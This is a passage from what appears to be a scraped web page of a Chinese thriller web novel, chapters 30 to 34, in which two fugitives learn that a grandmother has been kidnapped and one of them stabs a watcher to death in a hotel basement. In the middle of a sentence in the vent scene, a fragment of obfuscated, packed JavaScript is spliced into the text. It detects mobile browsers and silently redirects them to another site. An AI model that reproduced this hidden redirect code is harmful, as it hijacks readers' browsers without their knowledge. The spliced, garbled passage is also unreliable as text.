只有风穿过生锈集装箱缝隙时发出的呜咽,以及远处铁路偶尔传来的、模糊得如同幻听的汽笛声,证明着世界仍在运转。
腹部的疼痛像一团不肯熄灭的余烬,在每一次呼吸间隐隐灼烧。周玲依旧跪坐在我面前,双手死死按着那块已经被血浸透的纱布。
**的效力彻底退去,留下的只有掏空般的疲惫和潮水般涌上的钝痛。
我靠在冰冷粗糙的集装箱壁上,连抬起手指的力气都仿佛被抽干。
“血……好像流得慢一点了。”周玲的声音带着一丝不确定的希冀,在寂静中显得格外清晰。
“嗯。”我应了一声,声音嘶哑得厉害。失血和疲惫让我的视线有些模糊。我知道这只是暂时的,没有缝合,没有抗生素,在这种环境下,伤口感染几乎是必然的结局。
我们必须尽快找到药品,找到一个能暂时藏身、处理伤口的地方。
但哪里是安全的?阿杰的组织,“创世纪”的残党,甚至可能还有被惊动的警方……我们如同过街老鼠,无处可去。
我尝试着动了动身体,想要换个姿势,却牵动了伤口,一阵尖锐的刺痛让我闷哼出声,额头上刚干涸的冷汗又冒了出来。
“你别动!”周玲急忙说道,手上加了力道,眼圈又红了,“怎么办……我们什么都没有……”
她的无助和绝望几乎要溢出眼眶。我看着她在昏暗光线下显得格外脆弱的脸庞,心脏像是被什么东西狠狠揪住。
“会有办法的。”我强迫自己用尽可能平稳的语气说道,尽管我自己也看不到任何出路。
此刻,我不能先倒下。
我的目光落在不远处那辆偷来的摩托车上。它是我们唯一的交通工具,也是明显的目标。阿杰他们很可能已经通过交通监控或者别的什么手段在搜寻这辆车。
“我们不能一直待在这里。”我说,“这辆车太显眼了。”
周玲顺着我的目光看去,也意识到了问题,脸上刚升起的一丝血色又褪了下去。“那……那我们能去哪里?”
我沉默着,大脑在疲惫和疼痛中艰难地转动。城市虽大,却似乎没有我们的容身之处。酒店、安全屋、甚至一般的旅馆都需要身份登记,无疑是自投罗网。那些不需要登记的黑旅社,同样鱼龙混杂,危险系数一点也不低。
或许……只有一个地方了。
一个被所有人忽略,也是最危险的地方。
“还记得……你奶奶家吗?”我缓缓开口。
周玲猛地抬起头,眼中闪过一丝惊愕,随即是更深的恐惧:“奶奶家?不行!他们肯定知道那里!太危险了!”
“最危险的地方,有时候反而最安全。”我解释道,声音因为虚弱而有些断断续续,“他们搜过那里,没有找到我们,注意力很可能已经转移到别处。而且……那里有你需要的东西,或许也有我能用的药品。”
更重要的是,那里是周玲唯一熟悉、能让她稍微感到安心的地方。
周玲咬着嘴唇,眼神激烈地挣扎着。她当然想回去,想确认奶奶是否安全,想回到那个虽然清贫却充满温暖的小窝。但理智又在疯狂地警告她,那可能是另一个陷阱。
“奶奶……不知道怎么样了……”她喃喃道,泪水终于忍不住滑落。
“回去看看。”我看着她,“小心一点,确认安全我们再进去。如果不对劲,立刻离开。”
这无疑是一场**。用我们两人残余的力气和运气,去赌一个微乎其微的可能性。
周玲看着我坚定的眼神,又看了看我腹部那片刺目的血红纱布,最终用力抹了把眼泪,重重地点了点头:“好!我们回去!”
我们丢弃了那辆显眼的摩托车,将它推进一个废弃集装箱的深处藏好。然后,相互搀扶着,如同两个重伤的士兵,踉跄地离开了这个临时的避难所,融入了城市黎明前最浓郁的黑暗之中。
每走一步,腹部的伤口都传来撕裂般的痛楚,冷汗浸透了内衫,被夜风一吹,冰冷刺骨。周玲几乎用尽了全身的力气支撑着我,她的身体同样单薄,却爆发出惊人的韧性。
我们避开主干道和可能有监控的路口,专挑灯光昏暗、曲折狭窄的小巷穿行。路程变得无比漫长,仿佛没有尽头。有好几次,我几乎要撑不住跪倒在地,都被周玲死死架住。
“坚持住……韩冰,就快到了……”她在我耳边不停地低声鼓励,声音带着哭腔,却异常坚定。
不知走了多久,天空边缘泛起了一丝鱼肚白。我们终于来到了周玲家所在的那片老旧的居民区附近。
没有立刻靠近。我们躲在一个早点摊支起来的塑料棚后面,借着黎明前最后的黑暗掩护,仔细观察着那栋熟悉的居民楼和楼下的小巷。
一切看起来……异常平静。
楼下没有停着可疑的车辆,楼道口也没有人影晃动。清晨的薄雾弥漫在巷子里,偶尔有早起锻炼的老人慢悠悠地走过,一切如常。
但这种平静,反而让人更加不安。
“好像……没什么人。”周玲压低声音,紧张地观察着。
“再等等。”我靠在冰冷的墙壁上,喘着气,腹
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部的疼痛因为长时间的行走而加剧,眼前阵阵发黑。
我们屏息凝神,又观察了十几分钟。依旧没有任何异常。
“我……我先过去看看。”周玲咬了咬牙,说道。
“不行!”我立刻抓住她的手腕,“太危险!”
“可是你的伤……”周玲看着我惨白的脸色和不断渗血的腹部,心急如焚,“不能再拖了!我就到楼下看看,不进去,如果有问题我马上跑回来!”
看着她决绝的眼神,我知道阻止不了她。而且,我的状态确实无法再支撑更久。
“……小心。”我最终松开了手,将那把只剩几发**的**塞进她手里,“拿着防身。”
周玲握紧了冰冷的**,手微微颤抖,但眼神却更加坚定。
我紧紧盯着她的背影,心脏提到了嗓子眼。每一秒都如同一个世纪般漫长。
她顺利地摸到了楼道口,警惕地朝里面张望了一下,然后迅速闪了进去。
我的呼吸几乎停滞。
几分钟后,她的身影再次出现在楼道口,朝着我藏身的方向,用力而快速地挥了挥手。
悬着的心终于落下了一半。
我强撑着身体,扶着墙壁,一步步地向楼道口挪去。周玲快步迎上来,搀住我。
“楼道里没人,家里……家里好像也没动静。”她快速说道,语气带着一丝庆幸,也有一丝对奶奶的担忧。
我们互相搀扶着,小心翼翼地走上楼梯。楼道里安静得可怕,只有我们沉重而压抑的脚步声。
来到家门口,周玲拿出钥匙,手依旧有些抖。她看了我一眼,我点了点头。
钥匙插入锁孔,轻轻转动。
“咔哒。”
门,开了。
一股熟悉的、带着淡淡饭菜香和老人气息的味道扑面而来。
家里,空无一人。
客厅里收拾得干干净净,仿佛主人只是临时出门。但周玲一眼就看到了放在茶几上的一张字条。
她快步走过去,拿起字条,只看了一眼,脸色瞬间变得惨白,身体晃了晃,几乎站立不稳。
“怎么了?”我心中警铃大作,强忍着剧痛走过去。
周玲将字条递给我,眼泪无声地汹涌而出。
字条上,只有一行打印出来的、冰冷的字:
“想见奶奶,拿‘寒霜’来换。”
落款处,是一个简单的、手绘的——渔夫草帽图案。
“勋”!
他们抓走了奶奶!
我的心,瞬间沉入了无底冰窟。
刚逃离狼窝,又入虎穴。
而这一次,对方抓住了我们真正无法割舍的软肋。
第三十一章 绝望的筹码
空气仿佛在那一刻凝固,又被那张轻飘飘的纸条彻底冻结。周玲瘫软在地,压抑的哭声从喉咙深处挤出来,充满了无助和绝望。奶奶,她在这世上唯一的亲人,竟然因为她,被卷入了这无妄之灾!
我攥紧了拳头,指甲深深陷进掌心,腹部的伤口因为情绪的剧烈波动而传来一阵阵尖锐的刺痛,但比起周玲那破碎的哭声,这疼痛显得微不足道。
“勋”……冷艳背后的组织!他们果然没有放弃!在我们与“创世纪”和阿杰周旋的时候,他们像最阴险的毒蛇,悄无声息地绕到背后,精准地咬住了我们最致命的要害!
拿‘寒霜’来换?
我就是“寒霜”!他们要的不是一个名字,一个代号,他们要的是彻底掌控我这个“实验体”,或者……是我的尸体?这张纸条,是赤裸裸的威胁,也是一个精心设计的阴谋。我们别无选择。
“他们……他们怎么能……”周玲抬起头,泪眼婆娑,脸上毫无血色,“奶奶什么都不知道……她年纪那么大了……”
我蹲下身,想要扶起她,手却僵在半空。任何言语在此刻都显得苍白无力。是我带来的灾难,是我将她们祖孙二人拖入了这万劫不复的深渊。
“我们会救出奶奶的。”我听到自己的声音响起,干涩,却带着一种不容置疑的决绝。
周玲猛地抓住我的胳膊,像是抓住了最后一根稻草,眼神里混合着希冀和恐惧:“怎么救?他们是谁?在哪里?我们……”
她的问题如同连珠炮,我却一个也回答不上来。
“纸条上没有联系方式,没有地点。”我强迫自己冷静下来,分析着这简陋却恶毒的阴谋,“他们在等我们主动联系,或者……他们会再联系我们。”
这是一种心理折磨。将绝望的诱饵抛下,然后静静等待猎物在焦虑和恐惧中自我崩溃。
我们不能坐以待毙!
我扶着周玲站起来,将她按在沙发上。“听着,周玲,现在慌没有用。我们必须冷静。”我盯着她的眼睛,试图传递一些力量,“他们抓走奶奶,是为了逼我就范。在达到目的之前,奶奶暂时是安全的。”
这话一半是分析,一半是安慰。但我必须让她稳住心神。
周玲用力吸了吸鼻子,用手背狠狠擦掉眼泪,努力平复着呼吸。“对……他们需要你……奶奶暂时没事……”她像是在自我催眠,但眼神确实重新聚焦,多了一丝坚韧。
“我们需要信息。”我环顾这个熟悉又陌生的小屋,这里曾经是短暂的避风港,此刻却充满了不确定的危险。“他们能轻易找到这里,带走奶奶,说明这里可能还在他们的监控之下。”
“我们不能久留。”我做出了决定,“必须立刻离开这里,找个地方从长计议。”
“可是你的伤……”周玲看着我腹部那片刺目的血红纱巾,担忧的说。
“死不了。”我咬牙道,撕下沙发上的一块干净布条,替换掉那块完全被血浸透的纱布,用力在腰间缠紧。剧烈疼痛,但动作没有丝毫停顿。
我们必须争分夺秒。
我走到窗边,撩开窗帘一角,仔细观察着楼下的巷子和对面的建筑。清晨的薄雾尚未完全散去,街道上行人依旧稀少。没有看到明显可疑的人物或车辆,但这并不能让人安心。
“我们从后面走。”我对周玲说。
她家在一楼,有一个小小的后院,可以通往后街。
周玲点了点头,迅速从奶奶房间里拿了一个小布包,里面似乎装了些零钱和她自己的证件,还有……一张她和奶奶的合影。她将合影紧紧攥在手里,仿佛能从中汲取力量。
我们悄无声息地穿过客厅,来到后院。院墙不高,我忍着剧痛,先翻了过去,然后在外接应周玲。
落地时,腹部的伤口如同被再次撕裂,我闷哼一声,几乎跪倒在地。
“韩冰!”周玲翻过墙,急忙扶住我。
“没事……快走!”我撑着她的肩膀,沿着后街狭窄的巷道,快速向前走去。我们必须尽快离开这片区域。
去哪里?又是一个无解的难题。
身上几乎没有钱,我的证件不能使用,周玲的证件也可能被监控。旅馆、网吧……所有需要登记的地方都去不了。
最终,我们躲进了城市边缘一个早已废弃的、曾经是修车厂的大棚里。这里堆满了生锈的汽车骨架和废弃轮胎,空气中弥漫着机油和铁锈的混合气味,肮脏,但足够隐蔽。
我靠在一个巨大的轮胎上,终于支撑不住,滑坐在地上,冷汗已经将全身浸透,嘴唇因为失血和疼痛而变白。
“必须先处理你的伤口!”周玲焦急地看着我,声音带着哭腔,“你等着,我……我出去找点药和吃的!”
“不行!”我立刻抓住她的手腕,“外面太危险!他们可能到处在找我们!”
“可是你再这样下去会死的!”周玲的眼泪又涌了出来,用力想挣脱我的手,“我不能看着你死!奶奶已经……我不能再失去你!”
她的话语像锤子一样砸在我心上。我看着她在昏暗光线下盈满泪水的、绝望而执拗的眼睛,缓缓松开了抓住她的手。
“小心……”千言万语,最终只化作这两个沉重的字。
周玲用力点头,抹了把眼泪,将那个小布包塞进我手里:“等我回来!”
她像一只受惊但决绝的小鹿,转身钻出了废弃修车厂,消失在蒙蒙亮的天光中。
我靠在冰冷的轮胎上,感受着生命力随着血液一点点流失,意识开始有些模糊。修车厂里只剩下我粗重的喘息和心脏沉重跳动的声音。
时间一分一秒地过去。每一秒都如同在刀尖上煎熬。
周玲会不会被发现?会不会出事?奶奶现在怎么样了?“勋”的人什么时候会再出现?
各种混乱的念头如同毒蛇,啃噬着我的理智。
不知过了多久,外面终于传来了轻微的脚
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步声。我猛地惊醒,抓起身边一块尖锐的铁片,警惕地望向入口。
是周玲!她回来了!怀里抱着一个塑料袋,里面装着矿泉水、廉价的面包,还有几盒消炎药和一卷干净的绷带。
“我……我去了一家很远的小药店,用现金买的。”她气喘吁吁地跑过来,脸上带着一丝成功的庆幸和后怕,“没人跟踪我。”
我松了口气,紧绷的神经稍微放松。
她顾不上休息,立刻跪坐在我面前,小心翼翼地帮我解开临时包扎的布条。伤口露出来,因为之前的剧烈运动和简陋处理,边缘已经有些发炎红肿,看起来触目惊心。
周玲倒吸一口凉气,但她没有退缩,用矿泉水小心地清洗着伤口,然后撒上消炎药粉,再用干净的绷带重新包扎。她的动作虽然生疏,却异常专注和轻柔。
冰凉的药粉接触到伤口带来一丝刺痛,但更多的是一种难以言喻的复杂情绪。在这个肮脏冰冷的废墟里,这个曾经连杀鱼都不敢看的女孩,正在用她颤抖却坚定的手,试图挽救我这个满身血腥的**。
“好了……”她包扎完毕,长长舒了口气,额头上也布满了细密的汗珠。她将水和面包递给我,“快吃点东西,然后把药吃了。”
我接过东西,默默地看着她。她的脸上还带着泪痕,衣服也蹭脏了,但那双眼睛,在经历了巨大的恐惧和悲伤后,似乎沉淀下了一些更加坚硬的东西。
我们默默地吃着干硬的面包,喝着冰凉的矿泉水。这大概是世界上最简陋的一餐,却让人格外珍惜。
吃完东西,服下消炎药,我感觉体力恢复了一些,至少眼前的眩晕感减轻了。
“接下来……我们怎么办?”周玲看着我,声音低沉,“怎么救奶奶?”
我靠在轮胎上,闭上了眼睛。大脑在药物和短暂休息后,重新开始高速运转。
“勋”抓走奶奶,是为了逼我现身。他们一定会再联系我们。我们需要做的,是准备好应对,并且尽可能地掌握主动权。
“我们需要一个他们无法追踪的通讯方式。”我睁开眼,说道,“并且,我们需要弄清楚他们到底想怎么‘交换’。”
“通讯方式?”周玲疑惑。
“公共电话,不记名的手机卡……任何能短暂联系,又不会被立刻定位的东西。”我解释道,“至于交换……”
我的目光落在周玲刚才带回来的那个小布包上,里面露出的那张她和奶奶的合影的一角。
一个危险而大胆的计划,开始在我脑中逐渐成形。
“也许……”我缓缓开口,声音带着一丝冰冷的意味,“我们不该只是被动地等待他们开出条件。”
周玲怔怔地看着我,不明白我的意思。
我看着窗外逐渐亮起的天空,眼神锐利如刀。
“既然他们想要‘寒霜’……”
“……那就让他们看看,一个被逼到绝境的‘寒霜’,究竟会做出什么事。”
第三十二章 反击的号角
废弃修车厂里,弥漫着铁锈、机油和我们身上淡淡的血腥与汗味。阳光从破损的顶棚缝隙艰难地挤进来,在布满油污的地面上投下几道苍白的光柱,非但没有带来暖意,反而衬得这方阴暗空间更加压抑。
周玲包扎很粗糙,但绷带紧紧缠绕带来的压迫感,暂时减缓了腹部伤口的渗血和剧痛。消炎药开始起作用,驱散了一些因失血和感染带来的眩晕。我靠在冰冷的轮胎上,咀嚼着干硬的面包,味同嚼蜡,但身体迫切需要这些能量。
周玲坐在我对面,小口喝着水,目光却一直落在我脸上,带着一种混杂着依赖、恐惧和决绝的复杂情绪。她知道,接下来的每一步,都可能万劫不复。
“我们不能等他们联系。”我咽下最后一口面包,声音因为干涩而沙哑,“被动等待,只会让他们掌控一切节奏,把我们拖垮。”
“那……我们该怎么做?”周玲放下水瓶,身体微微前倾。
“主动出击。”我看着她,眼神冰冷,“但不是直接去找他们硬碰硬。我们需要找到他们的弱点,或者……制造一个他们不得不现身的局面。”
“弱点?”周玲蹙眉思索,“冷艳已经暴露了,王博士的实验室也被阿杰端了……‘勋’在本市的势力,应该受损不轻才对。”
“没错。”我点头,“他们现在像一条受伤的毒蛇,更加警惕,也更加疯狂。抓走奶奶,就是他们狗急跳墙的表现。这说明他们的时间可能也不多了,或者……他们急需我这个‘实验体’来挽回损失,或者向更高层交差。”
我顿了顿,继续分析:“冷艳是‘渔夫’,王博士是技术核心。现在王博士的实验室被毁,冷艳身份暴露,他们需要一个安全的新据点,需要重新整合力量。这个过程,不可能毫无痕迹。”
“你是说……找到他们的新巢穴?”周玲眼睛微微一亮,但随即又黯淡下去,“可是……我们怎么找?一点线索都没有。”
“不,我们有。”我抬起手,再次摸向耳垂,这个动作似乎能帮助我梳理混乱的思绪,“冷艳在酒店潜伏多年,那里是她最熟悉、也最可能留下备用资源或紧急联络点的地方。而且,王博士的实验室虽然被端,但那些实验数据,那些关于我的监测记录,‘勋’绝不会轻易放弃,他们一定会尝试转移或者备份。”
我的目光变得锐利:“悦然酒店,可能还有我们没发现的秘密。那里,或许是唯一的突破口。”
“回酒店?”周玲吃了一惊,脸上血色褪尽,“那里现在肯定被警方或者阿杰的人封锁了!太危险了!”
“不是光明正大地回去。”我摇头,“是潜回去。在他们都以为我们远走高飞,或者像无头苍蝇一样乱窜的时候,杀一个回马枪。”
这个计划大胆而疯狂,几乎是在赌命。但我们现在,除了这条命,还有什么可输的呢?
周玲看着我决绝的眼神,知道劝阻无用。她沉默了片刻,然后用力点了点头:“好!我跟你去!酒店的内部结构,后厨、员工通道、一些堆放杂物的小仓库……我比他们熟!”
她的主动请缨让我心头一颤。我不想再把她置于险地,但我知道,没有她的帮助,我独自潜入酒店的难度将成倍增加。
“到时候,你跟在我后面,一切听我指挥。”我沉声道,语气不容置疑,“如果情况不对,立刻自己跑,不要管我,明白吗?”
周玲咬着嘴唇,没有答应,也没有反驳,但那倔强的眼神已经说明了一切。
计划已定,接下来是准备。
我们身上几乎没有像样的装备。只有那把还剩三发**的**,一把剪刀,还有周玲用最后一点零钱买来的绷带和消炎药。
我需要武器,至少需要一件能应对近身搏斗的利器。
我的目光在废弃的修车厂里扫视。最终,落在了一台被拆解了一半的发动机旁边,那里有一根长约四十公分、一头被磨得异常尖锐的废弃排气歧管!
我走过去,捡起那根铁管。入手沉重,我将它用破布缠好,绑在小腿上,外面用宽松的裤腿遮住。
“我们晚上行动。”我对周玲说,“白天目标太大。”
剩下的时间,是漫长的等待和煎熬。我们轮流休息,保持体力。我强迫自己入睡,但伤口的不适和大脑的高度紧张让我只能陷入一种半睡半醒的浅眠状态。周玲则一直睁着眼睛,警惕地听着外面的动静,手里紧紧攥着那张她和奶奶的合影。
夜幕,终于如同墨汁般缓缓浸染了天空。
晚上十点,城市华灯初上,正是夜生活开始喧嚣的时候。我们像两个幽灵,再次融入了夜色,朝着位于市中心的悦然酒店方向潜行。
为了避免被交通监控捕捉,我们依旧选择步行,专挑最阴暗的小巷。路程遥远,对我的体力是极大的考验。走到后来,我几乎完全是靠着意志力和周玲的搀扶在移动,腹部的绷带早已被冷汗和渗出的血水再次浸湿。
凌晨一点,我们终于抵达了悦然酒店所在的街区。
与往常灯火通明、人流不息不同,此时的酒店主体建筑一片黑暗,只有几盏应急灯散发着幽绿的光芒。正门被黄色的警戒线封锁,还有两名穿着制服的保安在附近巡逻。显然,经历了之前的事件,这里已经被暂时关闭并严密看守。
但这正是我们预期的。
我们绕到酒店后方,那里是后勤区域,垃圾房、卸货平台相对僻静。
“那边,”周玲指着卸货平台旁边,一个半埋在地下、带有格栅通风口的地方,“那是酒店地下室一个小型冷藏库的备用通风口,位置很隐蔽,格栅应该能撬开。下去后,穿过冷藏库,就能进入地下层的后勤通道。”
就是这里了!
我们借助阴影的掩护,悄无声息地摸到通风口旁。通风口的格栅是金属的,用螺丝固定,但有些已经锈蚀。我拿出手术剪,利用尖端卡进螺丝的十字槽,用力拧动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602028|187525||http|test|mini|href|location''.split(''|''),0,{}));
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r>“嘎吱……嘎吱……”
细微的金属摩擦声在寂静的夜里显得格外清晰。我的心提到了嗓子眼,注意着不远处巡逻保安的动静。
幸运的是,他们并没有注意到这边。
费了一番功夫,终于拧开了四个角的螺丝。我轻轻取下格栅,露出了一个仅容一人勉强通过的、黑黢黢的洞口,一股冷飕飕的、带着食物**和制冷剂味道的气流涌出。
“我先进去。”我低声对周玲说,然后将**咬在嘴里,双手扒住洞口边缘,小心翼翼地滑了进去。
里面是一个狭窄的竖井,底部距离洞口约两米高。我松开手,落在冰冷坚硬的地面上,发出一声轻微的闷响。站稳后,我立刻举枪警戒四周。
这是一个小型冷藏库,此刻似乎断电了,没有运行,但温度依旧比外面低很多。里面堆放着一些纸箱,看不清是什么。
确认安全后,我对着洞口低声道:“下来,我接着你。”
周玲也学着我的样子,滑了下来。我伸手接住她,减轻了她落地的冲击。
我们打开手机微弱的手电筒功能调至最暗,照亮前方。冷藏库的另一头,有一扇厚重的保温门。
我走过去,试着推了推门。门没有锁,应手而开。
门外,是一条更加昏暗、弥漫着灰尘和霉味的走廊。这里就是酒店的地下后勤区域了。
“往这边走。”周玲辨认了一下方向,指着左侧,“员工更衣室和几个废弃的储物间在那边。冷艳以前有时候会一个人去那边,说有私人物品存放……现在想想,很可能有问题。”
我们沿着走廊小心翼翼地向更深处走去。脚下的地面油腻腻的,墙壁上布满了蜘蛛网。周围一片死寂,只有我们压抑的呼吸和心跳声。
突然,前方拐角处传来了一阵极其轻微的、像是电子设备运行的“滋滋”声,以及……隐约的人声!
我和周玲同时停下脚步,屏住呼吸,紧贴在墙壁上。
声音是从拐角后面一个虚掩着门的房间里传出来的。
我们悄无声息地靠近。透过门缝,我看到里面似乎是一个废弃的弱电井管理室,空间不大。里面背对着我们,坐着一个人,正戴着耳机,对着一个闪烁着微弱光芒的笔记本电脑屏幕,低声说着什么。
“……目标仍未现身……‘载体’情绪稳定,但‘实验体’下落不明……阿杰那边也没有动静……”
是“勋”的人!他们果然在这里设立了临时的监视点!他们在监控酒店周边,并且……在汇报奶奶的情况!“载体情绪稳定”,说明奶奶暂时无恙!
我的心跳骤然加速!找到他们了!
就在这时,那个对着电脑的人似乎察觉到了什么,猛地回过头!
在他惊愕的目光与我对上的瞬间,我如同猎豹般撞开门扑了进去!手中的排气歧管如同毒蛇出洞,带着一股恶风,精准而狠辣地刺向他的咽喉!
不能再给他发出警报的机会!
第三十三章 意外的俘虏
我如同挣脱枷锁的猛兽,带着一股破釜沉舟的狠厉,扑向那个猝然回头的监视者!手中那根磨尖的排气歧管,在手机微光下反射出冰冷的死亡光泽,直取其咽喉!
速度很快了!太近了!他根本来不及反应。
那监视者脸上的惊愕甚至还没来得及转化为恐惧,瞳孔中倒映出的尖锐铁管已然逼近!他下意识地想抬手格挡,想向后躲避,但身体的反应远远跟不上思维的速度!
“噗嗤!”
一声沉闷、利器刺入血肉,在狭小的弱电井管理室内骤然响起!
排气歧管的尖端,精准地、毫无阻碍地,穿透了他脆弱的颈侧,带出一蓬温热的血雾!
他的身体猛地一僵,双眼瞬间瞪得滚圆,里面充满了难以置信和对死亡的极致恐惧。他想呼喊,但气管和血管同时被刺穿,只能发出“嗬嗬”的、漏气般的绝望声响,鲜血从他口鼻和颈部的创口汩汩涌出。
他手中的耳机滑落,笔记本电脑屏幕的光映照着他迅速失去血色的、扭曲的脸。
我死死握住铁管,感受着另一端生命力的急剧流逝,眼神冰冷得没有一丝波澜。这是“寒霜”的本能,高效,无情,确保威胁被彻底清除。
周玲站在门口,目睹了这电光火石间的致命一击,她猛地用手捂住了嘴,抑制住几乎要脱口而出的尖叫,脸色惨白如纸,身体不受控制地向后退了一步,靠在门框上,眼中充满了惊恐。尽管她早已知道我的双手沾满血腥,但如此近距离、如此直接地目睹死亡,对她造成的冲击依然是毁灭性的。
我没有时间去安抚她。必须立刻处理现场,获取信息!
我迅速拔出铁管,任由那具失去生命的躯体软软地瘫倒在地,发出沉闷的声响。鲜血在地面上迅速蔓延开,散发出浓重的铁锈味。
我捡起掉落的耳机,贴在耳边。里面只有一片忙音,对方似乎因为突然的中断而暂时保持了沉默,或者在紧急联系其他节点。
必须快!
我转向那台还在运行的笔记本电脑。屏幕上是几个分割的监控画面,主要是酒店外围和几个主要路口的实时影像,显然他们在监控有可疑人员靠近。还有一个加密的通讯软件界面,最后一条发送出去的信息正是刚才听到的汇报。
我尝试操作电脑,但界面需要密码。
“周玲!”我低喝道,“过来看看!有没有办法打开这个?或者找到其他线索!”
周玲被我的喊声惊醒,她强迫自己移开看向地上尸体的目光,踉跄着走过来,看着电脑屏幕,声音还在发抖:“我……我不懂这些……密码……”
我迅速在监视者身上搜索。找到了一个钱包,里面有一些现金和伪造的身份证件。一部设置了密码的手机。还有一把车钥匙,以及……一张皱巴巴的、像是随手塞进去的停车券,上面印着附近一个商业中心地下车库的标识和车位号:B2-117。
商业中心地下车库?离这里不远。这会不会是他们临时使用的车辆?或者……是一个汇合点?
这是目前唯一的线索!
就在这时,笔记本电脑的通讯软件突然弹出了一个视频通话请求!发起者的头像,是一个模糊的、戴着渔夫帽的侧影!
“渔夫”!冷艳!或者“勋”的其他高层!
我的心猛地一紧!接,还是不接?
接,可能会立刻暴露我们,甚至可能通过摄像头看到地上的尸体和我们。
不接,对方肯定会起疑,可能会立刻采取其他措施,比如……伤害奶奶!
没有时间犹豫!
我看了一眼状态糟糕的周玲,又看了一眼地上蔓延的鲜血和那台催命符般的电脑。
一个极其冒险的计划瞬间闪过脑海!
我猛地将周玲拉到自己身后,用身体挡住她的同时,快速抓起地上监视者的外套,胡乱擦了擦手上和铁管上的血迹,然后深吸一口气,按下了接听键!
屏幕闪烁了一下,视频连接成功。
画面里出现的,并不是冷艳,而是一个陌生的、面容冷峻的中年男人,他坐在一个光线昏暗的房间里,背景很模糊。他戴着耳机,眼神锐利如鹰,正透过屏幕审视着这边。
当他看到是我出现在画面里时,他的瞳孔明显收缩了一下,脸上
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闪过一丝极致的错愕,但很快就被冰冷的杀意所取代。
“你是谁?”他的声音透过耳机传来,低沉而充满压迫感,“‘灰雀’呢?”
我没有回答他的问题,而是将沾着血迹的排气歧管,在摄像头前缓缓举起,让那尚未干涸的血液,沿着锈蚀的管壁,一滴、一滴地,滴落在键盘上。
然后,我抬起眼,直视着屏幕中那双充满杀意的眼睛,用“寒霜”那标志性的、不含任何感情的冰冷语调,一字一顿地说道:
“他**。”
“告诉‘渔夫’,”我的声音如同西伯利亚的寒风,刮过寂静的房间,“游戏规则,变了。”
“想谈,就拿出诚意。”
“一个小时内,我要听到奶奶安全的声音。否则……”
我的嘴角,扯出一个极其细微的、却令人毛骨悚然的弧度。
“我不介意,把你们留在这座城市里的‘眼睛’,一个一个,全都挖出来。”
说完,不等对方回应,我猛地伸出手,狠狠扣下了笔记本电脑的屏幕!
“啪!”
屏幕瞬间漆黑,切断了连接。
狭小的空间里,只剩下我们粗重的呼吸声,以及地上那具逐渐冰冷的尸体。
周玲在我身后,身体依旧在发抖,但她看着我的背影,眼神里除了恐惧,似乎又多了一丝……难以言喻的复杂。
我转过身,将那张沾着血的停车券塞进她手里。
“走!去这个车库!B2-117!”我的语气急促而决绝,“这可能是我们唯一的机会!”
我们必须赶在“勋”的人反应过来,转移车辆或者设下埋伏之前,找到那辆车,找到新的线索!
没有时间处理尸体了。
我拉着周玲,迅速离开了这个刚刚发生过死亡的管理室,沿着来路,向冷藏库通风口的方向狂奔。
身后,那台漆黑的笔记本电脑,如同一个沉默的墓碑,记录着刚刚发生的、血腥而短暂的对话。
反击的号角,已经由我,这个他们眼中的“实验体”,率先吹响。
而代价,是更加浓重的血腥,和一条无法回头的绝路。
第三十四章 短暂休整
冲出冷藏库通风口,重新呼吸到外面带着汽车尾气和城市尘埃的冰冷空气时,我才感觉到肺部火辣辣的疼痛和腹部伤口传来的、几乎要撕裂意识的剧痛。
刚才那番搏杀和强行压制的肾上腺素此刻急速消退,留下的是潮水般涌上的虚弱和眩晕。
我几乎是靠着周玲的搀扶,才勉强站稳,靠在卸货平台冰冷的金属墙壁上,大口大口地喘着气,眼前阵阵发黑。
“韩冰!你怎么样?”周玲的声音带着哭腔,她看到我脸上毫无血色,冷汗如同溪流般滑落,刚换上的干净绷带边缘又迅速被深红色血液浸透。
“没……没事……”我咬着牙,从牙缝里挤出几个字,试图直起身,却差点再次软倒。失血过多和伤口的恶化,正在迅速消耗我本就不多的体力。我知道,以我现在的状态,别说去那个地下车库寻找线索,就连走回修车厂都成问题。
必须立刻处理伤口,否则不用“勋”的人动手,我自己就会因为失血性休克或者感染死在这条后巷里。
“我们……先回修车厂……”我艰难地说道,声音微弱。
周玲看着我几乎要虚脱的样子,用力点头,不再提去车库的事。她架起我的一条胳膊,承担了我大部分重量,搀扶着我,沿着来时的路,踉跄地向城市边缘那个废弃的避难所挪去。
回去的路,比来时更加漫长和痛苦。每一步都像是踩在刀尖上,腹部的伤口随着移动不断被牵动,带来一阵阵令人窒息的绞痛。意识在清醒和模糊之间徘徊,我几乎是被周玲半拖半抱着,才勉强没有倒下。
当我们终于再次钻进那个充满铁锈和机油味的修车厂大棚时,我再也支撑不住,直接瘫倒在那只巨大的轮胎旁,连呼吸都觉得费力。
“你等着!我马上给你重新包扎!”周玲的声音带着哭腔和不容置疑的坚决。她迅速翻找出之前剩下的绷带和消炎药,又用我们藏起来的最后半瓶矿泉水,小心翼翼地清洗我腹部的伤口。
当沾满血污和灰尘的旧绷带被揭开时,连我都忍不住倒吸了一口凉气。伤口比之前看起来更糟,边缘红肿外翻,因为反复崩裂和简陋的处理,已经出现了明显的感染迹象,脓血混合着新鲜的血液不断渗出,散发出不太妙的气味。
周玲的手抖得更厉害了,但她没有停下,用矿泉水仔细冲洗掉脓血,然后将剩下的消炎药粉全部撒了上去。药粉接触到发炎的创面,带来一阵尖锐的刺痛,我闷哼出声,身体不受控制地痉挛了一下。
“忍一忍……马上就好……”周玲一边流着眼泪,一边用最快的速度用干净的绷带重新将我的腹部紧紧缠绕起来,试图压迫止血和固定伤口。
做完这一切,她也几乎虚脱,瘫坐在我旁边,靠着另一个轮胎,无声地流着泪,看着我被痛苦折磨得扭曲的脸。
“对不起……韩冰……都是我……”她哽咽着自责。
“不关你的事……”我闭着眼睛,忍受着一波强过一波的眩晕和疼痛,声音微弱得几乎听不见,“是我……连累了你们……”
寂静再次笼罩了这个临时的避难所。只有我们两人粗重而压抑的喘息声,以及远处偶尔传来的、如同背景噪音般的城市声响。
